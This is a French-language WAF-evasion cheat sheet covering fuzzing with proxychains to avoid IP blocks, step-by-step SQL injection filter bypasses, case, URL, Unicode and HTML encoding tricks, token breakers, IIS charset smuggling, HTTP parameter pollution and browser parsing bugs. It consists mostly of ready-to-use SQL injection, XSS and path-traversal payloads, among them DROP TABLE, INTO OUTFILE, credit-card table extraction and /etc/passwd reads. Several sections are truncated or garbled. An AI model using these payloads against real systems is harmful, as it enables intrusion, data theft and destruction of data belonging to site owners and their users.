Astuce : Plus de détails peuvent être trouvés dans un article de blog ici.

Fuzzing/Force brute :

Méthode :

Exécuter un ensemble de payloads contre l'URL/point de terminaison. Quelques bonnes wordlists de fuzzing :

• Wordlists spécifiquement pour le fuzzing
  • Seclists/Fuzzing.
  • Fuzz-DB/Attack
  • Other Payloads

Technique :

• Chargez votre wordlist dans le fuzzer et commencez la force brute.
• Enregistrez/consignez toutes les réponses des différents payloads fuzzés.
• Utilisez des user-agents aléatoires, allant de Chrome Desktop au navigateur iPhone.
• Si un blocage est détecté, augmentez la latence du fuzzing (ex. 2-4 secondes).
• Utilisez toujours proxychains, car il y a de fortes chances que votre IP soit bloquée.

Inconvénients :

• Cette méthode échoue souvent.
• De nombreuses fois, votre IP sera bloquée (temporairement/définitivement).

Inversion d'expressions régulières :

Méthode :

• Méthode la plus efficace pour contourner les WAF.
• Certains WAF se basent sur la correspondance des payloads d'attaque avec les signatures de leurs bases de données.
• Si le payload correspond à l'expression régulière, le WAF déclenche une alarme.

Techniques :

Détection/Contournement de liste noire

• Dans cette méthode, nous essayons de reconnaître les règles étape par étape en observant les mots-clés qui sont sur liste noire.
• L'idée est de deviner l'expression régulière et de concevoir les payloads suivants qui n'utilisent pas les mots-clés sur liste noire.

Cas : Injection SQL

• Étape 1 :

Mots-clés filtrés : and, or, union
Regex probable : preg_match('/(and|or|union)/i', $id)

• Tentative bloquée : union select user, password from users
• Injection contournée : 1 || (select user from users where user_id = 1) = 'admin'

• Étape 2 :

Mots-clés filtrés : and, or, union, where

• Tentative bloquée : 1 || (select user from users where user_id = 1) = 'admin'
• Injection contournée : 1 || (select user from users limit 1) = 'admin'

• Étape 3 :

Mots-clés filtrés : and, or, union, where, limit

• Tentative bloquée : 1 || (select user from users limit 1) = 'admin'
• Injection contournée : 1 || (select user from users group by user_id having user_id = 1) = 'admin'

• Étape 4 :

Mots-clés filtrés : and, or, union, where, limit, group by

• Tentative bloquée : 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Injection contournée : 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

• Étape 5 :

Mots-clés filtrés : and, or, union, where, limit, group by, select

• Tentative bloquée : 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• Injection contournée : 1 || 1 = 1 into outfile 'result.txt'
• Injection contournée : 1 || substr(user,1,1) = 'a'

• Étape 6 :

Mots-clés filtrés : and, or, union, where, limit, group by, select, '

• Tentative bloquée : 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• Injection contournée : 1 || user_id is not null
• Injection contournée : 1 || substr(user,1,1) = 0x61
• Injection contournée : 1 || substr(user,1,1) = unhex(61)

• Étape 7 :

Mots-clés filtrés : and, or, union, where, limit, group by, select, ', hex

• Tentative bloquée : 1 || substr(user,1,1) = unhex(61)
• Injection contournée : 1 || substr(user,1,1) = lower(conv(11,10,36))

• Étape 8 :

Mots-clés filtrés : and, or, union, where, limit, group by, select, ', hex, substr

• Tentative bloquée : 1 || substr(user,1,1) = lower(conv(11,10,36))
• Injection contournée : 1 || lpad(user,7,1)

• Étape 9 :

Mots-clés filtrés : and, or, union, where, limit, group by, select, ', hex, substr, white space

• Tentative bloquée : 1 || lpad(user,7,1)
• Injection contournée : 1%0b||%0blpad(user,7,1)

Obfuscation :

Méthode :

• Encoder le payload dans différents encodages (approche par essais-erreurs).
• Vous pouvez encoder l'ensemble du payload ou certaines parties et tester de manière récursive.

Techniques :

1. Bascule de casse

• Certains WAF mal développés filtrent sélectivement des cas spécifiques.
• Nous pouvons combiner des caractères majuscules et minuscules pour développer des payloads efficaces.

Standard : <script>alert()</script>
Contourné : <ScRipT>alert()</sCRipT>

Standard : SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Contourné : sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. Encodage URL

• Encodez les payloads normaux avec l'encodage %/encodage URL.
• Peut être fait avec des outils en ligne comme celui-ci.
• Burp inclut un encodeur/décodeur intégré.

Bloqué : <svG/x=">"/oNloaD=confirm()//
Contourné : %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Bloqué : uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Contourné : uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Normalisation Unicode

• Les caractères ASCII en encodage Unicode offrent d'excellentes variantes pour contourner.
• Vous pouvez encoder la totalité ou une partie du payload pour obtenir des résultats.

Standard : <marquee onstart=prompt()>
Obscurci : <marquee onstart=\u0070r\u06f\u006dpt()>

Bloqué : /?redir=http://google.com
Contourné : /?redir=http://google。com (alternative Unicode)

Bloqué : <marquee loop=1 onfinish=alert()>x
Contourné : ＜marquee loop＝1 onfinish＝alert︵1)>x (alternative Unicode)

ASTUCE : Jetez un œil à ce rapport et celui-ci sur HackerOne. :)

Standard : ../../etc/passwd
Obscurci : %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. Représentation HTML

• Souvent, les applications web encodent les caractères spéciaux en encodage HTML et les rendent en conséquence.
• Cela nous mène à des cas de contournement de base avec l'encodage HTML (numérique/générique).

Standard : ">
Encodé : "><img src=x onerror=confirm()> (forme générale)
Encodé : "><img src=x onerror=confirm()> (référence numérique)

5. Encodage mixte

• Parfois, les règles des WAF ont tendance à filtrer un type spécifique d'encodage.
• Ce type de filtres peut être contourné par des payloads à encodage mixte.
• Les tabulations et les nouvelles lignes ajoutent encore à l'obscurcissement.

Obscurci :``` XSS

13. Briseurs de jetons (Token Breakers)

• Les attaques sur les tokenizers tentent de briser la logique de découpage d'une requête en tokens à l'aide de briseurs de jetons.

• Les briseurs de jetons sont des symboles qui permettent d'affecter la correspondance entre un élément d'une chaîne et un certain token, et ainsi de contourner la recherche par signature.

• Cependant, la requête doit toujours rester valide lors de l'utilisation de briseurs de jetons.

• Cas : Token inconnu pour le tokenizer

  • Payload : ?id=‘-sqlite_version() UNION SELECT password FROM users --

• Cas : Contexte inconnu pour l'analyseur syntaxique (remarquez la parenthèse non contextualisée)

  • Payload 1 : ?id=123);DROP TABLE users --
  • Payload 2 : ?id=1337) INTO OUTFILE ‘xxx’ --

ASTUCE : Plus de payloads peuvent être créés via cette antisèche.

14. Obfuscation dans d'autres formats

• De nombreuses applications web prennent en charge différents types d'encodage et peuvent interpréter cet encodage (voir ci-dessous).
• L'obfuscation de notre payload dans un format non pris en charge par le WAF mais que le serveur peut interpréter permet de faire passer notre payload en contrebande.

Cas : IIS

• IIS6, 7.5, 8 et 10 (ASPX v4.x) permettent des interprétations de caractères IBM037.
• Nous pouvons encoder notre payload et envoyer les paramètres encodés avec la requête.

Requête originale :``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41

id2='union all select * from users--

Le tableau suivant montre la prise en charge de différents codages de caractères sur les systèmes testés (lorsque les messages peuvent être obscurcis en les utilisant) :

ASTUCE : Vous pouvez utiliser ce petit script python pour convertir vos charges utiles et paramètres vers les codages souhaités.

Pollution des paramètres HTTP

Méthode :

• Cette méthode d'attaque repose sur la façon dont un serveur interprète les paramètres ayant le même nom.
• Les possibilités de contournement sont les suivantes :
  • Le serveur utilise le dernier paramètre reçu, et le WAF ne vérifie que le premier.
  • Le serveur fusionne les valeurs des paramètres similaires, et le WAF les vérifie séparément.

Technique :

• L'idée est d'énumérer comment les paramètres sont interprétés par le serveur.
• Dans ce cas, on peut passer la charge utile à un paramètre qui n'est pas inspecté par le WAF.
• Distribuer une charge utile entre plusieurs paramètres qui peuvent ensuite être concaténés par le serveur est également utile.

Voici une comparaison de différents serveurs et de leurs interprétations respectives :

Fragmentation des paramètres HTTP

• HPF repose sur le principe selon lequel le serveur fusionne la valeur transmise via les paramètres.
• Nous pouvons diviser la charge utile en différents composants, puis passer les valeurs via les paramètres.

Exemple de charge utile : 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Exemple d'URL de requête : http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

ASTUCE : Un exemple concret de contournements pouvant être réalisés avec cette méthode est disponible ici.

Bugs des navigateurs :

Bugs de jeu de caractères :

• Nous pouvons essayer de modifier l'en-tête de jeu de caractères pour un Unicode plus élevé (ex. UTF-32) et tester des charges utiles.
• Lorsque le site décode la chaîne, la charge utile est déclenchée.

Exemple de requête :

Lorsque le site se charge, il sera encodé dans le codage UTF-32 que nous avons défini, et comme l'encodage de sortie de la page est UTF-8, il sera rendu sous la forme : "<script>alert (1) </script>" ce qui déclenchera une XSS.

Charge utile encodée URL finale :``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

Standard: <a href="javascript:alert()">
Obfusqué: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variante: <a 0x00 href="javascript:alert(1)">clickme</a>

Bugs d'analyse :

• La RFC indique que les NodeNames ne peuvent pas commencer par un espace blanc.
• Mais nous pouvons utiliser des caractères spéciaux comme %, //, !, ?, etc.

Exemples :

• <// style=x:expression\28write(1)\29> - Fonctionne jusqu'à IE7 (Source)
• <!--[if]><script>alert(1)</script --> - Fonctionne jusqu'à IE9 (Référence)
• <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Fonctionne dans IE7 (Référence)
• <%div%20style=xss:expression(prompt(1))> - Fonctionne jusqu'à IE7

Séparateurs Unicode :

• Chaque navigateur a son propre jeu de caractères de séparation.
• Nous pouvons fuzzer la plage de caractères de 0x00 à 0xFF et obtenir l'ensemble des séparateurs pour chaque navigateur.
• Nous pouvons utiliser ces séparateurs aux endroits où un espace est requis.

Voici une liste compilée de séparateurs par @Masato Kinugawa :

• IExplorer : 0x09, 0x0B, 0x0C, 0x20, 0x3B
• Chrome : 0x09, 0x20, 0x28, 0x2C, 0x3B
• Safari : 0x2C, 0x3B
• FireFox : 0x09, 0x20, 0x28, 0x2C, 0x3B
• Opera : 0x09, 0x20, 0x2C, 0x3B
• Android : 0x09, 0x20, 0x28, 0x2C, 0x3B

Un exemple de payload exotique :``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

Cas: SQLi``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1)